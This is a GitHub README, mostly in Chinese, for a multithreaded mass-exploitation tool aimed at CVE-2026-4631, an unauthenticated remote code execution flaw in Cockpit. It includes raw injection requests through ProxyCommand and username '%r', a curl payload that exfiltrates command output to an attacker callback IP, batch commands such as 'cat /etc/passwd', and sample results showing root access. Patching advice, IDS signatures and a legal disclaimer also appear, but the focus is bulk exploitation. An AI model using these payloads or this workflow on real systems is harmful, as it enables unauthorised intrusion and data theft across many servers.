ExDev994/CVE-2026-4631-cockpit-RCE

GitHub: ExDev994/CVE-2026-4631-cockpit-RCE

该工具用于批量扫描和利用 Cockpit Web 服务中的 CVE-2026-4631 未授权远程命令执行漏洞,通过 SSH 参数注入实现盲注 RCE 并捕获输出。

Stars: 0 | Forks: 0

# CVE-2026-4631 — Cockpit 批量漏洞利用工具 针对 Cockpit Web 服务(`cockpit-ws`,端口 9090)的 CVE-2026-4631 批量漏洞利用工具。支持漏洞扫描模式,通过内置 HTTP 回调监听器捕获命令输出以实现 RCE 模式,**`--auto` 模式(扫描 + 利用一步到位,默认执行 `id` 命令)**,为没有指定端口的目标**自动添加 `:9090` 端口**,支持两种攻击向量(ProxyCommand + 用户名 `%r` 注入),支持从文件批量导入目标,多线程并发,以及结构化的结果输出。 **作者:** 0xNuts ## 快速开始 ### 克隆并安装 ``` git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git cd CVE-2026-4631-cockpit-RCE pip install -r requirements.txt ``` ### 准备目标 编辑 `targets.txt` —— 每行一个主机。如果没有指定端口,将自动添加 `:9090`: ``` 192.168.1.10 cockpit.example.com https://manage.lab.local ``` ### 运行(AUTO 模式 —— 推荐) ``` # 扫描 + exploit 一次完成,默认 command "id" python3 exploit.py -f targets.txt --auto --callback-ip # results.txt 中的 output 示例: # example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ] ``` ### 其他模式 ``` # 仅扫描 vulnerability(不进行 exploit) python3 exploit.py -f targets.txt --scan -o scan_results.txt # 使用自定义 command 进行显式 RCE python3 exploit.py -f targets.txt -c "whoami" --callback-ip # 单一 target python3 exploit.py -t cockpit.example.com --auto --callback-ip ``` ### 回调说明 CVE-2026-4631 是一个 **blind RCE** —— 命令的输出不会在 HTTP 响应中返回。该工具使用内置的 HTTP 监听器(默认端口 `8888`)来捕获输出。请确保: 1. `--callback-ip` 是一个**目标可以访问的 IP**(不能是 `127.0.0.1`) 2. 防火墙允许入站 TCP 端口 `8888`(或自定义的 `--listener-port`) 3. 目标可以向攻击者 IP 发起出站 HTTP 请求 ## 修复/缓解方案(防守方) ### 1. 升级 Cockpit(强制) ``` # Debian / Ubuntu sudo apt update && sudo apt install cockpit-ws # RHEL / Fedora / CentOS sudo dnf update cockpit-ws # 验证版本(必须 >= 360) dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian rpm -q cockpit-ws # RHEL ``` ### 2. 禁用远程登录(临时方案) 编辑 `/etc/cockpit/cockpit.conf`: ``` [WebService] LoginTo = false ``` 重启服务: ``` sudo systemctl restart cockpit ``` ### 3. 网络隔离 将端口 9090 限制为仅管理网络可访问: ``` sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 9090 -j DROP ``` ### 4. 升级 OpenSSH 至 >= 9.6 通过早期主机名验证缓解向量 1(ProxyCommand 注入): ``` ssh -V # harus OpenSSH_9.6 atau lebih baru ``` ### 5. 手动打补丁(Backport) 如果无法升级到 360,请应用以下 commit 补丁: - [cockpit 9d0695647](https://github.com/cockpit-project/cockpit/commit/9d0695647) — 在 `beiboot.py` 和 `cockpitauth.c` 中添加 `--` 分隔符 - [ferny 44ec511c99](https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99) — 在 `session.py` 中添加 `--` 补丁详情:参见 [docs/PATCH_ANALYSIS.md](docs/PATCH_ANALYSIS.md) ## 目录 1. [漏洞概述](#ringkasan-vulnerability) 2. [攻击向量](#attack-vector) 3. [利用前提](#prasyarat-eksploitasi) 4. [安装说明](#instalasi) 5. [使用方法](#penggunaan) 6. [操作模式](#mode-operasi) 7. [执行示例](#contoh-eksekusi) 8. [输出格式](#format-output) 9. [工具架构](#arsitektur-tool) 10. [文件结构](#struktur-file) 11. [Blind RCE 捕获机制](#mekanisme-blind-rce-capture) 12. [检测与缓解](#deteksi--mitigasi) 13. [法律免责声明](#disclaimer-hukum) 14. [参考资源](#referensi) ## 漏洞概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-4631 | | **GHSA** | [GHSA-m4gv-x78h-3427](https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427) | | **严重程度** | Critical (CVSS 9.8) | | **CWE** | CWE-78 — OS Command Injection | | **受影响版本** | Cockpit 327 – 359 | | **修复版本** | Cockpit 360+ | | **需要身份验证** | 否 (pre-authentication) | | **报告者** | Jelle van der Waa | | **服务** | `cockpit-ws`,默认端口 9090 | Cockpit v327 将 `cockpit-ssh` (libssh) 替换为 `python3 -m cockpit.beiboot`,这会调用系统自带的 OpenSSH `ssh` 客户端。用户可控的输入 —— 来自 URL 路径的 **主机名 (hostname)** 以及来自 `Authorization: Basic` 请求头的 **用户名 (username)** —— 在传递给 `ssh` 时**没有经过过滤**,且**没有使用 `--` 选项结束分隔符**。注入发生在凭证验证之前,因此不需要有效的登录凭据。 ## 攻击向量 ### 向量 1 — ProxyCommand 注入(主要) URL 路径中的主机名被注入了 SSH 选项 `-oProxyCommand=`。 ``` GET /cockpit+=-oProxyCommand=/login HTTP/1.1 Host: target:9090 Authorization: Basic base64("x:x") ``` SSH 会将 `-oProxyCommand=` 解析为选项,并将 `` 作为 ProxyCommand 执行。该命令以 `cockpit-ws` 用户进程的身份运行。 **前提条件:** 目标上的 OpenSSH < 9.6。OpenSSH 9.6+ 具有早期主机名验证功能,可以阻止元字符。 ### 向量 2 — 用户名 `%r` Token 注入(次要) 来自 `Authorization: Basic` 请求头的用户名被注入了 shell 命令。 ``` GET /cockpit+=legit-host/login HTTP/1.1 Host: target:9090 Authorization: Basic base64("x; ; #:x") ``` SSH 在 `Match exec` 指令中会将 `%r` 展开为用户名 → 从而执行注入的 shell 命令。 **前提条件:** 目标的 `ssh_config` 包含带 `%r` token 的 `Match exec` 指令。 ## 利用前提 ### 攻击者端(运行工具的机器) - Python 3.8+ - 可从目标 Cockpit 访问的 IP(用于回调监听器) - 用于监听器的开放端口(默认为 8888) - 防火墙允许从目标到监听器端口的入站流量 ### 目标端(Cockpit 实例) - Cockpit 版本为 327 – 359 - 端口 9090 可访问 - 远程登录功能 (`LoginTo`) 未被禁用 - 对于向量 1:OpenSSH < 9.6 - 对于向量 2:`ssh_config` 包含 `Match exec %r` ## 安装说明 ``` # 从 GitHub Clone git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git cd CVE-2026-4631-cockpit-RCE # 安装 dependency pip install -r requirements.txt # 验证 python3 exploit.py --help ``` ### 依赖项 - `requests>=2.31` — 用于漏洞利用请求的 HTTP client - `colorama>=0.4` — 彩色终端输出 监听器没有额外的依赖项(使用标准库 `http.server` + `threading`)。 ## 使用方法 ``` usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT] [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}] [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT] [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY] [--user-agent UA] [-v] [--no-color] CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection optional arguments: -h, --help show this help message and exit -t, --target single target URL/host (port auto-added jika absent) -f, --file file containing list of targets (one per line) --default-port port yang di-append jika target tanpa port (default: 9090) -c, --cmd command to execute (default: "id" pada mode --auto / RCE) --scan vulnerability scan mode (no RCE, probe endpoint only) --auto scan + exploit sekali jalan, command default "id" --vector exploit vector: auto|proxycommand|username (default: auto) -o, --output result output file (default: results.txt) --callback-ip attacker IP reachable from target (for callback listener) --listener-port callback listener port (default: 8888) --threads concurrent workers (default: 10) --timeout seconds to wait for callback per target (default: 10) --delay delay between requests in seconds (default: 0) --proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080) --user-agent custom User-Agent string -v, --verbose verbose output (debug) --no-color disable colored output ``` ## 操作模式 ### 模式 1 — 漏洞扫描 (`--scan`) 在不进行漏洞利用的情况下探测 `/cockpit+=probe-host/login` 端点。检测: - 通过响应头/body 进行 Cockpit 指纹识别 - 易受攻击的登录流程是否处于活动状态(响应码 401/403/200/500) - 如果可能,进行版本推断 不发送恶意 payload,也不需要回调监听器。 ### 模式 2 — RCE 及命令捕获 (`-c "cmd"`) 在目标上执行命令,并通过回调捕获输出: - 内置 HTTP 监听器在后台启动 - ProxyCommand 的 payload 使用 `curl` 将命令输出外带到监听器 - 输出经过 base64 编码,并通过 POST 发送到监听器 - 监听器解码并基于 Request ID 将其与目标匹配 - 结果写入输出文件 - 如果未指定 `-c`,默认命令为 `id` ### 模式 3 — AUTO (`--auto`) — 推荐 在一次执行中完成扫描 + 漏洞利用,默认命令为 `id`: 1. 解析目标列表(如果没有指定端口,自动添加端口 9090) 2. 启动回调监听器 3. 针对每个目标:扫描 → 如果存在漏洞 (VULN),则立即利用执行 `id` 命令(或使用 `-c` 覆盖) 4. 跳过不存在漏洞 (NOT VULN) / 不可达 (UNREACHABLE) 的目标(不进行利用) 5. 结果格式:`host [ uid=0(root) ... ]` ### 模式 4 — 自动向量 (`--vector auto`) 首先尝试向量 1 (ProxyCommand)。如果响应显示 OpenSSH >= 9.6(主机名验证错误),则回退到向量 2(用户名 `%r`)。 ### 自动端口标准化 对于 `targets.txt` 中所有没有端口的条目,会自动追加 `:9090`: ``` host → http://host:9090 host:9090 → http://host:9090 https://host → https://host:9090 192.168.1.10 → http://192.168.1.10:9090 [::1] → http://[::1]:9090 ``` ## 执行示例 ### AUTO — 扫描 + 利用(推荐) ``` # 不带 port 的 target → 自动 :9090,默认 command "id" python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10 # Override command python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10 ``` 输出 `results.txt`: ``` # CVE-2026-4631 mass exploit 结果 — 2026-07-12 00:42 # mode: auto # command: id # vector: auto example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ] 10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ] host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ] host4.example.com:9090 [ NOT VULN ] ``` ### 漏洞扫描 — 批量目标 ``` python3 exploit.py -f targets.txt --scan -o scan_results.txt ``` 输出 `scan_results.txt`: ``` target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ] target2.example.com:9090 [ NOT VULN ] target3.example.com:9090 [ UNREACHABLE (ConnectionError) ] ``` ### RCE — 单个目标 ``` python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10 # equivalent: -t http://target:9090/ ``` 输出: ``` target:9090 [ uid=0(root) gid=0(root) groups=0(root) ] ``` ### RCE — 批量目标及命令捕获 ``` python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20 ``` ### RCE — 指定向量 ``` # Force Vector 1 ProxyCommand python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand # Force Vector 2 username %r python3 exploit.py -f targets.txt -c "whoami" --vector username ``` ### 调整并发与超时 ``` python3 exploit.py -f targets.txt -c "id" \ --callback-ip 10.10.10.10 \ --listener-port 9999 \ --threads 50 \ --timeout 15 \ --delay 0.2 ``` ### 通过代理调试 ``` python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v ``` ## 输出格式 结果文件格式(每个目标一行): ``` [ ] ``` | 状态 | 含义 | |---|---| | `uid=0(root) ...` | RCE 成功,命令输出已被捕获 | | `VULN - no callback received (OpenSSH >= 9.6?)` | 目标存在漏洞,但向量 1 被 OpenSSH 9.6+ 阻止,请尝试向量 2 | | `VULN - endpoint active` | 扫描模式,检测到端点处于活动漏洞状态 | | `NOT VULN` | Cockpit >= 360 或端点不存在 | | `UNREACHABLE` | 连接失败 / 连接超时 | | `ERROR: ` | 执行期间发生 Exception | 结果文件头记录了时间戳、命令、向量以及目标数量。 ## 工具架构 ``` flowchart TD CLI["exploit.py
argparse CLI + banner"] --> Parser["core/target.py
parse & normalize targets"] CLI --> Engine["core/engine.py
orchestrator"] Engine --> Listener["core/listener.py
HTTP callback server thread"] Engine --> Pool["ThreadPoolExecutor
concurrent workers"] Pool --> Scanner["core/scanner.py
vuln probe"] Pool --> Exploit["core/exploit.py
payload generator"] Scanner --> Req1["requests GET
/cockpit+=test/login"] Exploit --> Req2["requests GET
/cockpit+=-oProxyCommand=PAYLOAD/login"] Req2 --> Target["Cockpit target :9090"] Target -->|"blind RCE
curl callback"| Listener Listener --> Shared["shared dict
REQID -> output"] Engine --> Result["utils/result.py
write results.txt"] Shared --> Engine ``` ### 组件 - **exploit.py** — 入口点,解析参数,调度到 engine,渲染 banner - **core/target.py** — 读取 `-f file` / `-t url`,进行标准化(添加 `http://`,默认端口 9090),去除重复项 - **core/scanner.py** — `--scan` 模式,探测端点,指纹识别 Cockpit,推断漏洞 - **core/exploit.py** — 为每个向量生成 payload,通过 `requests` 发送漏洞利用请求 - **core/listener.py** — 位于 `--callback-ip:--listener-port` 的 `ThreadingHTTPServer`,解析 `?id=REQID&out=BASE64`,保存到共享字典中 - **core/engine.py** — 协调器:启动监听器,生成 ThreadPoolExecutor,通过 Request ID 将回调与目标匹配,处理超时,写入结果 - **utils/banner.py** — ASCII banner - **utils/result.py** — 以 `host [ output ]` 格化式写入结果文件 ## 文件结构 ``` CVE-2026-4631-cockpit-RCE/ ├── exploit.py # entry point CLI ├── requirements.txt # dependencies ├── README.md # dokumentasi ini ├── targets.txt # contoh target list ├── results.txt # output (generated) ├── core/ │ ├── __init__.py │ ├── target.py # parser target │ ├── scanner.py # mode scan vuln │ ├── exploit.py # payload generator + sender │ ├── listener.py # HTTP callback server │ └── engine.py # orchestrator ├── utils/ │ ├── __init__.py │ ├── banner.py # ASCII banner │ └── result.py # result writer └── docs/ ├── VULN_ANALYSIS.md # analisis mendalam vulnerability ├── PATCH_ANALYSIS.md # analisis patch commit └── DETECTION.md # signature deteksi ``` ## Blind RCE 捕获机制 CVE-2026-4631 是一个 **blind RCE** —— 命令输出不会在 Cockpit 的 HTTP 响应中返回。该工具通过内置的 HTTP 回调监听器来解决这个问题: ### 流程 1. **监听器启动** — 多线程 HTTP 服务器监听 `--callback-ip:--listener-port` 2. **生成 REQID** — 为每个目标生成唯一的 UUID4 8 字符十六进制字符串 3. **构建 payload** — ProxyCommand 使用 curl 外带的方式包装命令: bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"' 4. **对 payload 进行 URL 编码** — 注入到主机名字段: GET /cockpit+=-oProxyCommand=/login Authorization: Basic base64("x:x") 5. **发送请求** — 通过 `requests.get` 发送,针对自签名证书设置 `verify=False` 6. **等待回调** — 轮询共享字典 `results[REQID]` 直到达到 `--timeout` 7. **匹配并解码** — 如果收到回调,解码 base64 输出,通过 REQID 匹配到目标 8. **写入结果** — 将 `host [ decoded_output ]` 写入输出文件 ### 无回调的回退方案 如果超时且未收到回调,则检查 SSH 错误响应: - 主机验证错误 → OpenSSH >= 9.6,向量 1 被阻止 → `VULN - no callback (OpenSSH >= 9.6?)` - 连接错误 → `UNREACHABLE` - 端点不存在 → `NOT VULN` ### 并发 - `ThreadPoolExecutor(max_workers=--threads)` 针对每个目标并行处理 - 使用 `threading.Lock` 保护共享的 `dict[REQID] -> target_host` + `dict[REQID] -> output` - `ThreadingHTTPServer` 处理并发回调 - 针对每个目标的 `try/except`:捕获 connection error、SSL error、timeout ## 检测与缓解 ### 网络 IDS 特征 ``` GET /cockpit+=-o[A-Za-z]+=.*/login GET /cockpit+=-[A-Za-z].*/login ``` 关注点: - URL 路径中的 `-oProxyCommand=` - 解码后的 `Authorization: Basic` 值中的分号 (`;`) ### 日志溯源 ``` journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy" journalctl _COMM=ssh | grep -v "^--$" ``` ### 缓解方案 1. **升级 Cockpit >= 360**(强制修复) 2. **禁用远程登录** — `/etc/cockpit/cockpit.conf`: [WebService] LoginTo = false 3. **网络隔离** — 将端口 9090 限制为仅管理网络可访问: iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 9090 -j DROP 4. **升级 OpenSSH >= 9.6** — 缓解向量 1(通过早期主机名验证) ### 版本检查 ``` dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu rpm -q cockpit-ws # RHEL/Fedora # Vulnerable: 327 <= version <= 359 ``` ## 法律免责声明 该工具专为**授权的渗透测试**、**安全研究**以及在您拥有或获得书面授权的系统上进行**漏洞验证**而设计。 **在未经所有者明确许可的系统上使用此工具是非法的**,并根据适用的法律可能面临刑事处罚。 作者不对滥用此工具的行为负责。请以道德和负责任的方式使用。 **授权使用场景:** - 针对自有基础设施的安全审计 - 具有书面范围的渗透测试服务 - 在实验室环境中验证补丁 - CTF 和安全培训 ## 参考资源 | 资源 | URL | |---|---| | GitHub Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 | | OSS-Security Disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 | | Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 | | NVD Entry | https://nvd.nist.gov/vuln/detail/cve-2026-4631 | | Fix commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 | | Fix commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 | | CPython argparse bug | https://github.com/python/cpython/issues/66623 | | OpenSSH 9.6 hostname validation | https://github.com/openssh/openssh-portable/commit/7ef3787 | | Reference PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE | ## 许可证 用于研究和授权测试目的。未经许可不得用于商业分发。
标签:Python, XXE攻击, 安全, 批量攻击, 无后门, 编程工具, 超时处理, 远程代码执行, 逆向工具